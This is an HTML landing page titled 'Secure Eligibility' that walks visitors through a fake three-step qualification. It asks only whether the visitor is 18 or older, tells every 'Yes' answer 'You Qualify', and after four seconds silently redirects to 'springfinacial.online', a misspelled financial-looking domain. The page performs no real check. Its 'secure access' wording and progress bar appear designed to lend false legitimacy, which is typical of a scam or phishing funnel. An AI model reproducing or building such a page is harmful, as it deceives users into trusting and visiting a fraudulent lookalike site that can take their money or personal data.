<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Secure Eligibility</title>
<style>
html, body {
margin:0;
padding:0;
height:100%;
font-family:-apple-system,BlinkMacSystemFont,"SF Pro Display",
"Helvetica Neue",Helvetica,Arial,sans-serif;
background:linear-gradient(120deg,#ffffff,#f3f3f6,#ffffff);
background-size:200% 200%;
animation:bgShift 12s ease infinite;
}
@keyframes bgShift {
0% {background-position:0% 50%;}
50% {background-position:100% 50%;}
100% {background-position:0% 50%;}
}
.wrapper{
position:relative;
min-height:100vh;
display:flex;
align-items:center;
justify-content:center;
text-align:center;
overflow:hidden;
}
.step{
position:absolute;
width:100%;
padding:20px;
opacity:0;
transform:translateY(30px);
transition:all .7s cubic-bezier(.34,1.56,.64,1);
}
.step.active{
opacity:1;
transform:translateY(0);
}
.step-label{
position:absolute;
top:28px;
width:100%;
font-size:13px;
color:#6e6e73;
}
.progress-wrap{
position:absolute;
top:50px;
left:50%;
transform:translateX(-50%);
width:240px;
height:4px;
background:rgba(0,0,0,.08);
border-radius:20px;
overflow:hidden;
}
.progress-bar{
height:100%;
width:0%;
background:linear-gradient(90deg,#0071e3,#005fcc);
transition:width .6s ease;
}
.headline{
font-size:36px;
font-weight:600;
letter-spacing:-1px;
margin-bottom:20px;
background:linear-gradient(180deg,#111,#444);
-webkit-background-clip:text;
-webkit-text-fill-color:transparent;
}
.subtext{
font-size:18px;
color:#6e6e73;
margin-bottom:60px;
}
.cta-btn, .option-btn{
cursor:pointer;
font-weight:600;
transition:all .4s cubic-bezier(.34,1.56,.64,1);
}
.cta-btn{
padding:20px 60px;
font-size:18px;
border:none;
border-radius:999px;
color:#fff;
background:linear-gradient(180deg,#0071e3,#005fcc);
box-shadow:0 25px 60px rgba(0,113,227,.35);
}
.cta-btn:hover{
transform:translateY(-5px);
}
.option-btn{
display:block;
width:260px;
margin:12px auto;
padding:18px;
font-size:18px;
border-radius:16px;
border:1px solid #d2d2d7;
background:#fff;
}
.option-btn.primary{
background:linear-gradient(180deg,#0071e3,#005fcc);
color:#fff;
border:none;
box-shadow:0 20px 50px rgba(0,113,227,.35);
}
.vibrate{
animation:vibrate .2s linear;
}
@keyframes vibrate{
0%{transform:translateX(0);}
25%{transform:translateX(-2px);}
50%{transform:translateX(2px);}
75%{transform:translateX(-2px);}
100%{transform:translateX(0);}
}
.checkmark{
width:80px;
height:80px;
border-radius:50%;
border:4px solid #0071e3;
margin:30px auto;
position:relative;
}
.checkmark::after{
content:"";
position:absolute;
left:22px;
top:40px;
width:18px;
height:35px;
border-right:4px solid #0071e3;
border-bottom:4px solid #0071e3;
transform:rotate(45deg);
opacity:0;
animation:checkAnim .6s ease forwards .4s;
}
@keyframes checkAnim{
to{opacity:1;}
}
</style>
</head>
<body>
<div class="wrapper">
<div class="step-label">Step <span id="stepNumber">1</span> of 3</div>
<div class="progress-wrap">
<div class="progress-bar" id="progressBar"></div>
</div>
<div class="step active" id="step1">
<div class="headline">Secure Your Eligibility.</div>
<div class="subtext">Complete the next two quick steps to proceed.</div>
<button class="cta-btn" id="continueBtn">Continue</button>
</div>
<div class="step" id="step2">
<div class="headline">Are you 18 or older?</div>
<button class="option-btn primary" id="yesBtn">Yes</button>
<button class="option-btn" id="noBtn">No</button>
</div>
<div class="step" id="step3">
<div class="headline">You Qualify.</div>
<div class="subtext">Finalizing your secure access...</div>
<div class="checkmark"></div>
</div>
</div>
<script>
(function(){
let currentStep = 1;
function goToStep(step){
document.getElementById("step"+currentStep).classList.remove("active");
document.getElementById("step"+step).classList.add("active");
currentStep = step;
document.getElementById("stepNumber").innerText = step;
let progress = ((step - 1) / 2) * 100;
document.getElementById("progressBar").style.width = progress + "%";
if(step === 3){
setTimeout(function(){
window.location.href = "https://springfinacial.online";
}, 4000);
}
}
document.getElementById("continueBtn")
.addEventListener("click", function(){
goToStep(2);
});
document.getElementById("yesBtn")
.addEventListener("click", function(){
this.classList.add("vibrate");
setTimeout(()=>{
this.classList.remove("vibrate");
goToStep(3);
},200);
});
document.getElementById("noBtn")
.addEventListener("click", function(){
alert("Sorry, you must be 18+ to continue.");
});
})();
</script>
</body>
</html>